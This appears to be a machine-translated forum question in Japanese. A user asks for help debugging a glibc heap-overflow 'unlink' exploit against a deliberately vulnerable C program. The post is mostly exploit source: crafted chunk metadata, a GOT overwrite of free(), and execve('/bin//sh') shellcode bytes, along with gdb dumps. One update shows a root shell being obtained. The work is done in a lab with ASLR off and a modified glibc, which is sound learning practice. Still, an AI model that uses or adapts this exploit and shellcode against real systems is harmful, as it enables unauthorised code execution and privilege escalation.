このサンプルの脆弱なプログラムを悪用しようとしています:
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
if(argc!=1)
/*[3]*/ strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
これはエクスプロイトです。私は今のところAAAAになるシェルコードを削除しました:
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#define FUNCTION_POINTER ( 0x0600a78 ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x10 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./hvuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists Shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main( void )
{
char * p;
char argv1[ 680 + 1 ];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
printf("p:%p\n",p);
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 4;
/* Copy the shellcode */
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 4;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4 );
p += 4;
/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
p += 4;
/* the bk field of the second chunk. It should point to Shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 4;
/* the terminating NUL character */
*p = '\0';
printf("p:%p\n",p);
/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
メモリレイアウトは次のとおりです。
(gdb) x/600x 0x7fffffffe130
0x7fffffffe130: 0x0defaced 0x0defaced 0x0defaced 0x0defaced
0x7fffffffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe150: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe160: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe170: 0x41414141 0x41414141 0x41414141 0x42424141
0x7fffffffe180: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe190: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1e0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe1f0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe200: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe210: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe220: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe230: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe240: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe250: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe260: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe270: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe280: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe290: 0x42424242 0x42424242 0x42424242 0x42424242
---Type <return> to continue, or q <return> to quit---
0x7fffffffe2a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe2b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe2c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe2d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe2e0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe2f0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe300: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe310: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe320: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe330: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe340: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe350: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe360: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe370: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe380: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe390: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe3a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe3b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe3c0: 0x42424242 0x42424242 0x0defacec 0xfffffffc
0x7fffffffe3d0: 0x00600a6c 0x00601020 0x00000000 0x00000000
それは本来あるべきことをしているようです...しかし、それは機能しません...プログラムが開始され、存在し、シェルコードにぶつからない
(gdb) cont
Continuing.
process 9395 is executing new program: /home/user/security/heapvuln/hvuln
[Inferior 1 (process 9395) exited normally]
(gdb)
エクスプロイトの何が問題になっていますか?任意のヒント?アイデア?
これはすべてこれに基づいています:
https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
ASLRを無効にし、FUNCTION_POINTERとCODE_ADDRESSを調整しました。私はまた、コンパイルされたglibc-2.20で作業しており、後でいくつかのセキュリティチェックを削除する計画を立てていますが、これまでのところ、うまくいきませんでした。
更新1:
私はx86でデバッグを行いました(現在x86マシンをインストールしています)
それがx86_64でどのように見えるか
Continuing.
Breakpoint 3, main (argc=2, argv=0x7fffffffee78) at hvuln.c:20
20 /*[4]*/ free(first);
(gdb) x/34x 0x601000
0x601000: 0x00000000 0x00000000 0x000002b1 0x00000000
0x601010: 0x0defaced 0x00000000 0x00000000 0x00000000
0x601020: 0x00000000 0x00000000 0x00000000 0x00000000
0x601030: 0x00000000 0x00000000 0x00000000 0x00000000
0x601040: 0x00000000 0x00000000 0x00000000 0x00000000
0x601050: 0x00000000 0x00000000 0x00000000 0x00000000
0x601060: 0x00000000 0x00000000 0x00000000 0x00000000
0x601070: 0x00000000 0x00000000 0x00000000 0x00000000
0x601080: 0x00000000 0x00000000
(gdb) cont
Continuing.
[Inferior 1 (process 7381) exited normally]
(gdb) quit
それがx86でのやり方です
Breakpoint 2, main (argc=2, argv=0xbffffc74) at hvuln.c:20
20 /*[4]*/ free(first);
(gdb) x/34x 0x804a000
0x804a000: 0x00000000 0x000002a1 0x0defaced 0x0defaced
0x804a010: 0x0defaced 0x0defaced 0x41414141 0x41414141
0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a050: 0x41414141 0x42424141 0x42424242 0x42424242
0x804a060: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a070: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a080: 0x42424242 0x42424242
最初のシナリオ(x86_64)では、チャンクは正しく上書きされませんが、なぜですか?
更新2:
Unlink()テクニックを許可するように変更されたglibcでOKで、32ビットで機能します。
root@user-VirtualBox:~/security# gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,-rpath=/home/user/glibc-inst2.20/lib -Wl,-dynamic-linker=/home/user/glibc-inst2.20/lib/ld-linux.so.2
root@user-VirtualBox:~/security# gcc exp.c -o exp
root@user-VirtualBox:~/security# ./exp
# ls
exp exp.c vuln vuln.c vuln1 vuln1.c
#
64ビットで動作するようにしようとします...多分誰かが私を助けます...
更新3:
64ビットなので、ポインタを8バイト進めます。
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#define FUNCTION_POINTER ( 0x0000000000600ac8 ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x10 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./hvuln"
#define DUMMY 0xffffffffffffffff
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists Shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"\xeb\x0assppppffff"
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main( void )
{
char * p;
char argv1[ 680 + 1 ];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
printf("p:%p\n",p);
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* Copy the shellcode */
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (680 - 4*8) - (4*8 + strlen(shellcode)) );
p += ( 680 - 4*8 ) - ( 4*8 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 8;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4);
p += 8;
/* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
p += 8;
/* the bk field of the second chunk. It should point to Shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 8;
/* the terminating NUL character */
*p = '\0';
printf("p:%p\n",p);
/* the execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );
}
なぜ私の最後のペイロードにあるのかわかりません:
0x7fffffffe380: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe390: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe3a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe3b0: 0x42424242 0x42424242 0xfffffffe 0xffffffff
0x7fffffffe3c0: 0xfffffffc 0xffffffff 0x00600abc 0x00000000
0x7fffffffe3d0: 0x00601020 0x00000000 0x00400500 0x00000000
0x7fffffffe3e0: 0xffffe4d0 0x00007fff 0xf3870500 0xed224e9d
0x7fffffffe3f0: 0x004008c0 0x00000000 0xf7a2e830 0x00007fff
0x7fffffffe400: 0x00000000 0x00000000 0xffffe4d8 0x00007fff
exceve()とstrcpy()の後は、次のようになります。
0x601270: 0x42424242 0x42424242 0x42424242 0x42424242
0x601280: 0x42424242 0x42424242 0x42424242 0x42424242
0x601290: 0x42424242 0x42424242 0xfffffffe 0xffffffff
0x6012a0: 0xfffffffc 0xffffffff 0x00600abc 0x76682f2e
0x6012b0: 0x006e6c75 0x00000000 0x00000000 0x00000000
0x6012c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x6012d0: 0x00000000 0x00000000 0x00020d31 0x00000000
Strcpy()をmemcpy()で置き換えようとしましたが、動作は同じです...
更新4:
これは、nullで停止するときに、コマンド引数によって提供されるペイロードが原因でした。脆弱なプログラムを変更して、fread()を介してファイルを読み取り、それを悪用するファイルを書き込むために悪用します。
しかし、今私はこの問題を抱えています:
0x601230: 0x42424242 0x42424242 0x42424242 0x42424242
0x601240: 0x42424242 0x42424242 0x42424242 0x42424242
0x601250: 0x42424242 0x42424242 0x42424242 0x42424242
0x601260: 0x42424242 0x42424242 0x42424242 0x42424242
0x601270: 0x42424242 0x42424242 0x42424242 0x42424242
0x601280: 0x42424242 0x42424242 0x42424242 0x42424242
0x601290: 0x42424242 0x42424242 0x42424242 0x42424242
0x6012a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x6012b0: 0x42424242 0x42424242 0x0defacec 0x0defaced
0x6012c0: 0xfffffffc 0xffffffff 0x00600b24 0x00000000
0x6012d0: 0x00601050 0x00000000 0x00400600 0x00000000
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
_int_free (av=0x7ffff7dd5b80 <main_arena>, p=<optimized out>, have_lock=0)
at malloc.c:3984
3984 if (!nextinuse) {
(gdb) l
3979 if (nextchunk != av->top) {
3980 /* get and clear inuse bit */
3981 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
3982
3983 /* consolidate forward */
3984 if (!nextinuse) {
3985 unlink(nextchunk, bck, fwd);
3986 size += nextsize;
3987 } else
3988 clear_inuse_bit_at_offset(nextchunk, 0);
(gdb)
ここでクラッシュします。
誰かが私のチャンクのどこが悪いのか考えていますか?
アップデート5:
シェルコードを打つが、それはセグメンテーション違反です。
Exp.cのバージョン
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#define FUNCTION_POINTER (0x0000000000600b30 ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x20 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./vuln"
#define DUMMY 0x0defaced0defaced
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists Shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"\xeb\x0assppppffff"
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
int main( void )
{
char * p;
char argv1[ 704+1];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
printf("p:%p\n",p);
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* Copy the shellcode */
int slen;
slen=strlen(shellcode);
printf("s len:%i\n",slen);
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 32 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (704 - 4*8) - (4*8 + strlen(shellcode)) );
p += ( 704 - 4*8 ) - ( 4*8 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 8;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4);
p += 8;
/* the fd field of the second chunk. It should point to free - 24. -24 is required since unlink function
would do + 24 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 24 );
p += 8;
/* the bk field of the second chunk. It should point to Shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 8;
FILE *write_ptr;
write_ptr = fopen("out.bin","wb"); // w for write, b for binary
fwrite(argv1,sizeof(char),704,write_ptr);
return( -1 );
}
vuln.c
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc(666);
/*[2]*/ second = malloc(12);
printf("argc=%i\n",argc);
printf("first is at %p\n",first);
printf("second is at %p\n",second);
FILE *ptr;
ptr = fopen("out.bin","rb"); // r for read, b for binary
fread(first,sizeof(char),704,ptr);
/*[4]*/ free(first);
/*[5]*/ free(second);
/*[6]*/ return(0);
}
ヒープでシェルコードを実行しています。これを見つけました:
https://www.exploit-db.com/exploits/36858/
しかし、どういうわけかそれはsegfaults ....
ヒープでシェルコードを実行する際に注意すべきことはありますか?
それらのrex.X命令とは何ですか?
シェルコードを実行するために何を確認する必要がありますか?
(gdb) b *0x60103c
Breakpoint 3 at 0x60103c
(gdb) cont
Continuing.
Breakpoint 3, 0x000000000060103c in ?? ()
(gdb) x/10i $rip
=> 0x60103c: xor %esi,%esi
0x60103e: movabs $0x600b18,%rbx
0x601048: Push %rsi
0x601049: Push %rbx
0x60104a: Push %rsp
0x60104b: pop %rdi
0x60104c: pushq $0x3b
0x60104e: pop %rax
0x60104f: xor %edx,%edx
0x601051: syscall
(gdb) x/20i $rip
=> 0x60103c: xor %esi,%esi
0x60103e: movabs $0x600b18,%rbx
0x601048: Push %rsi
0x601049: Push %rbx
0x60104a: Push %rsp
0x60104b: pop %rdi
0x60104c: pushq $0x3b
0x60104e: pop %rax
0x60104f: xor %edx,%edx
0x601051: syscall
0x601053: rex.X
0x601054: rex.X
0x601055: rex.X
0x601056: rex.X
0x601057: rex.X
0x601058: rex.X
0x601059: rex.X
0x60105a: rex.X
0x60105b: rex.X
0x60105c: rex.X
(gdb) stepi
0x000000000060103e in ?? ()
(gdb)
0x0000000000601048 in ?? ()
(gdb)
0x0000000000601049 in ?? ()
(gdb)
0x000000000060104a in ?? ()
(gdb)
0x000000000060104b in ?? ()
(gdb)
0x000000000060104c in ?? ()
(gdb)
0x000000000060104e in ?? ()
(gdb)
0x000000000060104f in ?? ()
(gdb)
0x0000000000601051 in ?? ()
(gdb)
0x0000000000601053 in ?? ()
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x0000000000601053 in ?? ()
(gdb) i r
rax 0xfffffffffffffffe -2
rbx 0x600b18 6294296
rcx 0x601053 6295635
rdx 0x0 0
rsi 0x0 0
rdi 0x7fffffffe3a8 140737488348072
rbp 0x7fffffffe3f0 0x7fffffffe3f0
rsp 0x7fffffffe3a8 0x7fffffffe3a8
r8 0xfffffffffffffffc -4
r9 0x600b18 6294296
r10 0x8a3 2211
r11 0x346 838
r12 0x400580 4195712
r13 0x7fffffffe4d0 140737488348368
r14 0x0 0
r15 0x0 0
rip 0x601053 0x601053
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
root@laptop:~/security/heapvuln# ./hvuln
argc=1
first is at 0x601010
second is at 0x6012c0
#
脆弱なプログラム:
/*
Heap overflow vulnerable program.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main( int argc, char * argv[] )
{
char * first, * second;
/*[1]*/ first = malloc(666);
/*[2]*/ second = malloc(12);
printf("argc=%i\n",argc);
printf("first is at %p\n",first);
printf("second is at %p\n",second);
FILE *ptr;
ptr = fopen("out.bin","rb"); // r for read, b for binary
fread(first,sizeof(char),704,ptr);
/*[4]*/ free(first);
/*[5]*/ free(second);
/*[6]*/ return(0);
}
悪用:
/* Program to exploit 'vuln' using unlink technique.
*/
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#define FUNCTION_POINTER (0x0000000000600b30 ) //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x601010+ 0x20 ) //Address of variable 'first' in vuln executable.
#define VULNERABLE "./hvuln"
#define DUMMY 0x0defaced0defaced
#define PREV_INUSE 0x1
char shellcode[] =
/* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
(by statement BK->fd = FD). Hence if no jump exists Shell code would get corrupted by unlink function.
Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
"\xeb\x0assppppffff"
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
int main( void )
{
char * p;
char argv1[ 704+1];
char * argv[] = { VULNERABLE, argv1, NULL };
p = argv1;
printf("p:%p\n",p);
/* the fd field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the fd_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* the bk_nextsize field of the first chunk */
*( (void **)p ) = (void *)( DUMMY );
p += 8;
/* Copy the shellcode */
int slen;
slen=strlen(shellcode);
printf("s len:%i\n",slen);
memcpy( p, shellcode, strlen(shellcode) );
p += strlen( shellcode );
/* Padding- 32 bytes for prev_size,size,fd and bk of second chunk. 32 bytes for fd,bk,fd_nextsize,bk_nextsize
of first chunk */
memset( p, 'B', (704 - 4*8) - (4*8 + strlen(shellcode)) );
p += ( 704 - 4*8 ) - ( 4*8 + strlen(shellcode) );
/* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
p += 8;
/* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
*( (size_t *)p ) = (size_t)( -4);
p += 8;
/* the fd field of the second chunk. It should point to free - 24. -24 is required since unlink function
would do + 24 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
second chunk's bk field (see below) */
*( (void **)p ) = (void *)( FUNCTION_POINTER - 24 );
p += 8;
/* the bk field of the second chunk. It should point to Shell code address.*/
*( (void **)p ) = (void *)( CODE_ADDRESS );
p += 8;
FILE *write_ptr;
write_ptr = fopen("out.bin","wb"); // w for write, b for binary
fwrite(argv1,sizeof(char),704,write_ptr);
return( -1 );
}